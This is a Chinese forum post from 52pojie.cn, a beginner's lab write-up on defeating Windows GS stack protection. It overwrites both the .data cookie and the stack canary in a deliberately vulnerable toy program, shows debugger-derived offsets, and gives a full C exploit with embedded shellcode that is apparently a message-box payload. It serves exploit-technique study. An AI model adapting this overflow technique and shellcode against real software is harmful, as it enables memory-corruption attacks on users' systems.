吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 8779|回复: 7
收起左侧

[漏洞分析] 同时替换栈中和.data中的Cookie突破GS

[复制链接]
筠溪 发表于 2017-7-28 10:45
本帖最后由 筠溪 于 2017-7-29 20:45 编辑

最近刚刚接触漏洞调试逆向,希望能够将自己调试过程中的看法与大家分享,望大神们不要喷我。参考书籍就是有名的《0day》,作为想接触漏洞的新手非常适合。
言归正传
GS机制:
GS会在函数调用前往函数栈帧内压入一个随机数(canary),然后等函数返回前,会对canary进行核查,判断canary是否被修改。因为canary的地址是(前栈帧EBP-4),所以如果溢出攻击想要覆盖返回地址,就会路过canary。系统检测到canary被修改之后,在函数返回前就会直接终止程序
GS流程:
  • 程序启动时,读取.data节的第一个dword。
  • 以这个dword为基数,通过和当前系统时间,进程ID,线程ID,性能计数器进行一系列加密运算(多次XOR)。
  • 把加密后的种子再写入.data节的第一个dword。函数在执行前,把加密后的种子取出,与当前esp进行异或计算,结果存入“前EBP”的前面(低地址端)。函数主体正常执行。
  • 函数返回前,把canary取出与esp异或计算后,调用__security_check_cookie函数进行检查,与.data节里的种子进行比较,如果校验通过则返回原函数继续执行。如果校验失败,则程序终止。


意思就是,.data第一个dword异或ebp后,存放到ebp低地址端,函数返回前,这个数再xor ebp,和.data中相比较。

GS突破的思路:
1、利用未被保护的内存突破GS
2、覆盖虚函数突破GS(wnagzihxain有讲到
3、攻击SEH突破GS
4、同时替换栈中和.data中的cookie突破GS(同样讲到过

由于自己第一次发帖,刚好看到第四个突破技术,索性就记录下来以便交流


我们不看代码,试想一下,如果想要同时替换栈中和.data中的cookie,需要几步。需要什么条件。
攻击条件:
  • 首先这个条件就很苛刻,正常情况下,我们是无法访问到.data段中的,只有当一个指针偏移没有作判断,能够为我们所用,将它指向.data的时候,才能够覆盖修改.data的第一个dword。代码中创造的条件是这样的,先申请一块堆区,再创建一个指针指向的地址是堆区+偏移(i),当i为我们恶意构造的负数的时候,就有可能指向.data段
  • 其次,要有shellcode覆盖,代码中给了一个strcpy,我们喜闻乐见的一个函数。

代码如下(shellcode内容我们慢慢给出,这里先看程序):
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
void test(char * str, int i, char * src)
{
        char dest[200];
         
        if(i<0x9995)
        {
                char * buf=str+i;
                *buf=*src;
                *(buf+1)=*(src+1);
                *(buf+2)=*(src+2);
                *(buf+3)=*(src+3);
            strcpy(dest,src);
        }
}
void main()
{
        char * str=(char *)malloc(0x10000);
        //__asm int 3
        test(str,0xFFFF2FB8,shellcode);       
}


攻击调试步骤:
1、在调试的时候,确认堆区的地址和我们要覆盖的.data首地址离多远,这样就能确认这个指针偏移 i 是多少;
2、确定shellcode的覆盖偏移,到底哪个偏移地址是canary的位置;
前两部可以利用函数返回时候的check_securitycookie函数查看系统是怎么检查参数的
3、确定shellcode中canary的值,索性把shellcode的第一个dword设置为canary(90909090),那么我们用多少覆盖呢,这需要在调试中xor ebp后确定;
4、确定shellcode组织结构。

下面和大家一起调试,确定shellcode的内容
调试环境:
XP sp3
vs 2008
release版本
optimization给disable掉(不然,调试代码看不懂,canary异或的也是esp而不是ebp)

第一步,确定偏移
其实不能完全按照步骤进行参数获取,因为后面有些参数可能在前面的调试中就已经获取了,按步骤说只是便于理解。
先把shellcode设置为四个字节90909090.指针偏移也设置为0:

[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <string.h>
#include <stdlib.h>
char shellcode[]=
 
"\x90\x90\x90\x90"//new value of cookie in .data
;
void test(char * str, int i, char * src)
{
        char dest[200];
         
        if(i<0x9995)
        {
                char * buf=str+i;
                *buf=*src;
                *(buf+1)=*(src+1);
                *(buf+2)=*(src+2);
                *(buf+3)=*(src+3);
__asm int 3
            strcpy(dest,src);
        }
}
void main()
{
        char * str=(char *)malloc(0x10000);
        test(str,0,shellcode);       
}


我们首先要看cookie是怎么校验的。原书中讲到在if语句处中断,我设置了int3之后,停下来发现cookie已经被放进.data了,所以我就下在了strcpy之前
360截图20170728094850757.jpg

这一步获取的参数:
.data地址:0x00403000
栈中需要覆盖canary的地址:0x0012FF60
栈中需要返回的地址0x0012FF68
堆分配首地址(这一步我忘记标出来了,他就是test函数test(str,0,shellcode)返回地址前、高地址处的第一个str的地址):0x00410048
计算可得:0x410048-0x403000=53320,由于这个偏移应该是负数,所以i=-53320=FFFF2FB8
这样第一二步骤的参数已经得到了

将i修改后,如下:
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
void test(char * str, int i, char * src)
{
        char dest[200];
         
        if(i<0x9995)
        {
                char * buf=str+i;
                *buf=*src;
                *(buf+1)=*(src+1);
                *(buf+2)=*(src+2);
                *(buf+3)=*(src+3);
                __asm int 3
            strcpy(dest,src);
        }
}
void main()
{
        char * str=(char *)malloc(0x10000);
        test(str,0xFFFF2FB8,shellcode);       
}


第二步,确定canary的值
如何确定?已经我们要将90909090写入.data,GS校验的时候,会将canary和ebp异或然后和90909090对比,所以,canary=90909090 xor 当时的ebp
int3位置不变,我们还定位到函数准备返回检查canary的时候
360截图20170728101750183.jpg
canary = 0x0012ff64 xor 0x90909090 = 0x90826ff4



第三步,确定shellcode组织结构
对了,shellcode在栈中的位置还没确定呢
还是刚才的断点,在strcpy之前停下来,找shellcode 复制的栈中位置,这也是为什么设置90909090,因为明显好找,还可以搜索
360截图20170728103026718.jpg
找到了shellcode地址=0x0012FE94
所以shellcode总大小=0x0012FE94-返回的地址0x0012FF68 +4=216字节
覆盖返回地址:12FF68-12FF6B
覆盖canary地址:12FF60-12FF63
最后12个字节是这样的\xF4\x6F\x82\x90 \x90\x90\x90\x90 \x94\xFE\x12\x00
所以shellcode是这样安排的:
\x90\x90\x90\x90||\xFC\x68···\x57\xF8||\x90···\x90|| \xF4\x6F\x82\x90 \x90\x90\x90\x90 \x94\xFE\x12\x00
4字节                       168字节                     32字节(216-4-168-12=32字节)           12个字节

最终形成代码
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <string.h>
#include <stdlib.h>
char shellcode[]=
 
"\x90\x90\x90\x90"//new value of cookie in .data
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP
"\x90\x90\x90\x90"
"\x94\xFE\x12\x00"//address of shellcode
;
void test(char * str, int i, char * src)
{
        char dest[200];
         
        if(i<0x9995)
        {
                char * buf=str+i;
                *buf=*src;
                *(buf+1)=*(src+1);
                *(buf+2)=*(src+2);
                *(buf+3)=*(src+3);
            strcpy(dest,src);
        }
}
void main()
{
        char * str=(char *)malloc(0x10000);
        //__asm int 3
        test(str,0xFFFF2FB8,shellcode);       
}

360截图20170728104332390.jpg

成功溢出。

免费评分

参与人数 3威望 +1 吾爱币 +12 热心值 +3 收起 理由
陌路无人 + 1 + 1 用心讨论,共获提升!
Three_fish + 1 + 1 谢谢@Thanks!
Hmily + 1 + 10 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

qqqmyj 发表于 2017-7-28 12:17
感谢分享!
YY001XX 发表于 2017-7-28 12:43
Three_fish 发表于 2017-7-28 19:30
520wangshun 发表于 2017-7-29 10:23
感谢分享教程
Lensual 发表于 2017-7-29 18:18
mark一下
头像被屏蔽
爱蜂玩爱疯玩 发表于 2017-11-10 16:28
提示: 作者被禁止或删除 内容自动屏蔽
vili88 发表于 2018-7-15 20:56
支持楼主……很实用
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-4-8 10:39

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表